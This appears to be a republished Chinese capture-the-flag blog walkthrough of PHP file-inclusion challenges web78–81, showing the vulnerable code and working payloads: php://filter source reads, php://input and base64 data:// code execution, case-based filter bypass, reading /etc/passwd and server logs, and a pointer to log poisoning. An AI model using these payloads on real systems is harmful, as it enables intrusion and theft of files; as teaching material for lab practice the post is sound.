【從0開始學web】78-88 檔案包含
檔案包含題,可以先了解一下檔案包含漏洞
https://blog.csdn.net/yzl_007/article/details/120261435
web78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
php://filter 偽協議 讀取,條件:allow_url_include = on
payload:?file=php://filter/convert.base64-encode/resource=flag.php
php://input 協議

php://input可以訪問請求的原始資料的只讀流,將post請求的資料當作php代碼執行,當傳入的引數作為檔案名打開時,可以將引數設為php://input,同時post想設定的檔案內容,php執行時會將post內容當作檔案內容,
注:當enctype=”multipart/form-data”時,php://input是無效的,
參考:https://www.cnblogs.com/endust/p/11804767.html
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
將php替換成???
?file=php://filter/convert.base64-encode/resource=flag.php php:// 會被替換,用不了,就用input:// 吧
str_replace 函式 區分大小寫,可以大小寫繞過,將上一題的php改為PHP即可

或者php://data 協議 ,將命令轉義成base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
將data也替換 ,data://也用不了了,繼續php://input

web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
冒號也被過濾了,偽協議用不了,日志包含getshell
?file=/etc/passwd 是可以回顯的,再查看一下能不能找到日志

?file=/var/log/nginx/access.log 也是存在回顯的

然后日志注入

#持續更新
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/316395.html
標籤:其他
上一篇:使用javascript根據用戶輸入表單條件將值設定為零
下一篇:使用if或ifelse
